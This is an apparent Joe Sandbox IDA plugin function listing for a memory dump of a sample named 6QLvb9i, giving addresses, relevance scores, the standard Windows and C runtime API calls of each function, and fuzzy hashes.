Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: af818c07d2ecdb2701f091f9464752d3e070c72cbc6184fe8b9ac1f481b20e1d
Instruction ID: db51b17177d16b796e13f5eb32b363e1b2809dfb28b847cb7c94b16dbeb96beb
Opcode Fuzzy Hash: af818c07d2ecdb2701f091f9464752d3e070c72cbc6184fe8b9ac1f481b20e1d
Instruction Fuzzy Hash: 01B1E37090079A8BCB2CCF6AC6556BEBBA1FF43B14F144629E452D7691C631BE41CB43

Function 008F7798 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 008F250A: GetLastError.KERNEL32(00000000,?,008F488D), ref: 008F250E
Part of subcall function 008F250A: SetLastError.KERNEL32(00000000,?,?,00000028,008EEB33), ref: 008F25B0

EnumSystemLocalesW.KERNEL32(008F7840,00000001,00000000,?,-00000050,?,008F7623,00000000,-00000002,00000000,?,00000055,?), ref: 008F780A

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 269aeb67557fd418b2ac3639e8252a38166dd5f1a23b6f21ced3622af905f7ca
Instruction ID: ec2b752663bc5277965589f7fa6ba30af6dfa3ab58cc74979da8d7e58a5dfb5a
Opcode Fuzzy Hash: 269aeb67557fd418b2ac3639e8252a38166dd5f1a23b6f21ced3622af905f7ca
Instruction Fuzzy Hash: 661129372143059FEB189F38C8956BAB791FF80359B14443DE64687B40D371B842C740

Function 008F7C20 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 008F250A: GetLastError.KERNEL32(00000000,?,008F488D), ref: 008F250E
Part of subcall function 008F250A: SetLastError.KERNEL32(00000000,?,?,00000028,008EEB33), ref: 008F25B0

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 008F7C74

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: b38b44fe48a7b82d01a681221a4c3bcc87aae2b0b5e3eb95febde3b3780c8b81
Instruction ID: c746943f2f35a740dbbd0f6b98be4de3eecec8962c34df8625c5b1e0bb3d41b0
Opcode Fuzzy Hash: b38b44fe48a7b82d01a681221a4c3bcc87aae2b0b5e3eb95febde3b3780c8b81
Instruction Fuzzy Hash: A111A07265411AABEB24EB78DC52ABA77ACFF04324B10417AEB01D7241EB78E9018750

Function 008F7DCD Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 008F250A: GetLastError.KERNEL32(00000000,?,008F488D), ref: 008F250E
Part of subcall function 008F250A: SetLastError.KERNEL32(00000000,?,?,00000028,008EEB33), ref: 008F25B0

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,008F7A5C,00000000,00000000,?), ref: 008F7DF9

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 1d1981ff96ca0aec036acd68ed2dede0801f87701532dccee43c284ac7ef7606
Instruction ID: 38e78999e607b45f2a69f3c970e22d528f182f8beb58b927c4387e1c940928f2
Opcode Fuzzy Hash: 1d1981ff96ca0aec036acd68ed2dede0801f87701532dccee43c284ac7ef7606
Instruction Fuzzy Hash: 0F01FE3361411ABBEB1856748C55BFB3B54FB40B54F1544AAEE42E3180DA70FD41C6D0

Function 008F7A93 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 008F250A: GetLastError.KERNEL32(00000000,?,008F488D), ref: 008F250E
Part of subcall function 008F250A: SetLastError.KERNEL32(00000000,?,?,00000028,008EEB33), ref: 008F25B0

EnumSystemLocalesW.KERNEL32(008F7B00,00000001,?,?,-00000050,?,008F75EB,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?), ref: 008F7ADD

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 50b26edea211587e675340429d941dc014ce9a837e60252cab1ef578b49813e8
Instruction ID: c3e33a6edda4a4c9abeb466e8b98765d4ec2bc834fa0e7ccbd1fed382f555835
Opcode Fuzzy Hash: 50b26edea211587e675340429d941dc014ce9a837e60252cab1ef578b49813e8
Instruction Fuzzy Hash: ADF0C2363043089FEB259F79D891A7ABB91FB80768B05842DFB458B680C6719D02C650

Function 008F34BD Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 008EE8B1: EnterCriticalSection.KERNEL32(?,?,008F2998,?,00914160,00000008,008F288A,00000000,00000000,?), ref: 008EE8C0

EnumSystemLocalesW.KERNEL32(008F34B0,00000001,009141E0,0000000C,008F2EB1,-00000050), ref: 008F34F5

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: b8c2e0969d5f3bebd4a980fdaf6af4d228ac0e962104774e05d260ffcc2687f1
Instruction ID: 0909cca46fabd5f226e311f698a909b86dffcf8e7473df9bf9f8b674ddf1b988
Opcode Fuzzy Hash: b8c2e0969d5f3bebd4a980fdaf6af4d228ac0e962104774e05d260ffcc2687f1
Instruction Fuzzy Hash: 5CF03776B14214AFDB01EFA9E842B9977E0FB59761F10802AF510DB3E0DB758A00EF51

Function 008F7BD5 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 008F250A: GetLastError.KERNEL32(00000000,?,008F488D), ref: 008F250E
Part of subcall function 008F250A: SetLastError.KERNEL32(00000000,?,?,00000028,008EEB33), ref: 008F25B0

EnumSystemLocalesW.KERNEL32(008F7C20,00000001,?,?,?,008F7645,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?,?), ref: 008F7C0C

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 35428ef4a74527f2be95651d1a0ba90476534354c97bcfbb203f81f59b3d7ab3
Instruction ID: 00de6a416dc512889ab8ced4545b727b62bb152aab766c9ae09500b8643aa7bf
Opcode Fuzzy Hash: 35428ef4a74527f2be95651d1a0ba90476534354c97bcfbb203f81f59b3d7ab3
Instruction Fuzzy Hash: ADF0E53630420957DB14AF79DC55A7B7F94FFC1760B0A4459FB05CB290C6759882C790

Function 008F2FB5 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,00000000,?,008ED603,?,20001004,00000000,00000002,?,?,008EC511), ref: 008F2FE9

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: e362a3168b0ec7e8668ee5d668bbcf08ec03d6b26bb84ce1d3122cbf05de5aaf
Instruction ID: 1049dad92638dc6be0d593b99a31ebc26a1399df47a519921686e10dd658ca07
Opcode Fuzzy Hash: e362a3168b0ec7e8668ee5d668bbcf08ec03d6b26bb84ce1d3122cbf05de5aaf
Instruction Fuzzy Hash: 74E01A3150451CBBCB122F70DC05AEE3E26FB44B61F048111FE06A5220CB318921AA95

Function 008E64B3 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000165E0), ref: 008E64B8

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 7e5b98eab6993083dd5b89a25930201697db7ec72c7249adcd333f4083b9fcbd
Instruction ID: aac11f9455b6dc22317ae9d14a8cc621417d2cf353cb23b44b3955848bca6c5e
Opcode Fuzzy Hash: 7e5b98eab6993083dd5b89a25930201697db7ec72c7249adcd333f4083b9fcbd
Instruction Fuzzy Hash:

Function 008F3BE0 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 008F3BE0

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 8694b238f2d524098eb586f1ff92a63c28a734cbc5539e4eef94d9349f678a9d
Instruction ID: 69342241234d1fdafa694bde25dfc291c4b722a4cc91060fe32e1fb2e3db091f
Opcode Fuzzy Hash: 8694b238f2d524098eb586f1ff92a63c28a734cbc5539e4eef94d9349f678a9d
Instruction Fuzzy Hash: 85A001747292419B97808F36AA0928A3BFAAA45791745C6EDA515C5260EB248450FF01

Function 008FBD99 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcf34e95a7d54f6280911bcdc2496442ca1bbce6b108f5c22787fd2aaf1abedb
Instruction ID: e1fca35ac04433d82131fbe768dc3d082e08137532b129072076a5d3b5449c97
Opcode Fuzzy Hash: dcf34e95a7d54f6280911bcdc2496442ca1bbce6b108f5c22787fd2aaf1abedb
Instruction Fuzzy Hash: 0232F332E29F494DD7239634C922336A258FFB73C4F15D727E81AB5AA6EF28C5835100

Function 008D1BA0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: faa6971b033d58324e0bddbe53787bb1a87862476e28fcc02ffb469e255e205f
Instruction ID: 1f6d3050446f0acf907d55d0b963b6d6cddd2d5856c75286ee42454c0f186aa0
Opcode Fuzzy Hash: faa6971b033d58324e0bddbe53787bb1a87862476e28fcc02ffb469e255e205f
Instruction Fuzzy Hash: AAD0923A655A59AFC210CF89E540D82F7BCFB8D670B1580A6EA0893B20C331FC11CAE0

Function 00902512 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?,009024FD,?,?,?,?,?,?,?,?,?), ref: 009025B8
__alloca_probe_16.LIBCMT ref: 00902673
__alloca_probe_16.LIBCMT ref: 00902702
__freea.LIBCMT ref: 0090274D
__freea.LIBCMT ref: 00902753
__freea.LIBCMT ref: 00902789
__freea.LIBCMT ref: 0090278F
__freea.LIBCMT ref: 0090279F

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: eda54867de0a7022bae1021fa63e7dfe4a439c6f5395831d5bd02fd31d78798b
Instruction ID: fab7f6f383facdb005831d80df4cfdd16ae5c343376442b5c67c36206646e303
Opcode Fuzzy Hash: eda54867de0a7022bae1021fa63e7dfe4a439c6f5395831d5bd02fd31d78798b
Instruction Fuzzy Hash: D571E4729042599FDF219F688C9ABAEBBFDEF45310F28045AF904E72C1EA35EC018751

Function 008F5176 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 008F51FC

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 51e6ba9edb6fa758acba511f911d2998b9b0e2e81ebecee1fdc350593847a06f
Instruction ID: 87b817264abde0c768fff908a456580c938ac5c44b1e42b9c6bc37cb31a2fb32
Opcode Fuzzy Hash: 51e6ba9edb6fa758acba511f911d2998b9b0e2e81ebecee1fdc350593847a06f
Instruction Fuzzy Hash: F8B13672900A5DAFDB118F78CC82BBE7BA5FF56350F244155EB04EB382D2749941CBA1

Function 008E7750 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 008E7787
___except_validate_context_record.LIBVCRUNTIME ref: 008E778F
_ValidateLocalCookies.LIBCMT ref: 008E7818
__IsNonwritableInCurrentImage.LIBCMT ref: 008E7843
_ValidateLocalCookies.LIBCMT ref: 008E7898

Strings

csm, xrefs: 008E782D

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: b2daca9c1b13021ae7acb450b3c06b3b5d9b26acb325a2e0c66f2d66e3f76ce2
Instruction ID: fdc88e533571d32373bb89c720321243499676cdc06ea5508a0f5e406ba04474
Opcode Fuzzy Hash: b2daca9c1b13021ae7acb450b3c06b3b5d9b26acb325a2e0c66f2d66e3f76ce2
Instruction Fuzzy Hash: 9641C434E04259ABCF10DF6ACC45AAEBBA1FF46314F148165E914DB392D7319E01CB92

Function 008E6A80 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 008E6A86
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 008E6A94
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 008E6AA5

Strings

kernel32.dll, xrefs: 008E6A81
GetTempPath2W, xrefs: 008E6A9A
GetSystemTimePreciseAsFileTime, xrefs: 008E6A8E

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: ca267602f1e432d8a6d3a24f29dc7de6a9e2c0fb93d2906bd3eb243a1132864d
Instruction ID: 3fd6c7861091b3e6146fdf2b3b915a5c72f27d908caf1faca1419c0cad3dff2f
Opcode Fuzzy Hash: ca267602f1e432d8a6d3a24f29dc7de6a9e2c0fb93d2906bd3eb243a1132864d
Instruction Fuzzy Hash: B5D09E31779310AFC3509FB17C098C63BF4EB45B55305C866F511D22A0D7B40542EA91

Function 0090097C Relevance: 9.3, APIs: 6, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ca0edcb847f5b03a11cb74c52dc2b9fc51e42ca936b581a17ef137ca77e47c0
Instruction ID: 11d4601f0887143c4eca7c099bc7828ce01c5e81af4dbabea6d6c02c34dc44b6
Opcode Fuzzy Hash: 7ca0edcb847f5b03a11cb74c52dc2b9fc51e42ca936b581a17ef137ca77e47c0
Instruction Fuzzy Hash: D4B1F570A04389AFEB11DFA9C841BAE7BB5FF86304F144298E554AB3D2C7709D41CB61

Function 008F1087 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,008F107E,008E7170,008E38AF,A44455A3,?,?,?,?,00902FFF,000000FF,?,008D90A5), ref: 008F1095
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 008F10A3
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 008F10BC
SetLastError.KERNEL32(00000000,?,008F107E,008E7170,008E38AF,A44455A3,?,?,?,?,00902FFF,000000FF,?,008D90A5), ref: 008F110E

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 7b4af9e48d6de217e18051c8df7a645b709115421e3fbc9d1c7dc9d585bfbc37
Instruction ID: 3967e847dd68c1d27e674e3fe7578b286ff86cae54b580981cd6142a152a02a8
Opcode Fuzzy Hash: 7b4af9e48d6de217e18051c8df7a645b709115421e3fbc9d1c7dc9d585bfbc37
Instruction Fuzzy Hash: AD01D83371C7199EAE2526797C4D97A3A95FB46B75720422EF310C51F1EF118C82EA40

Function 008F190E Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 008F1A2D
CallUnexpected.LIBVCRUNTIME ref: 008F1CA6

Strings

csm, xrefs: 008F1A64
csm, xrefs: 008F194B
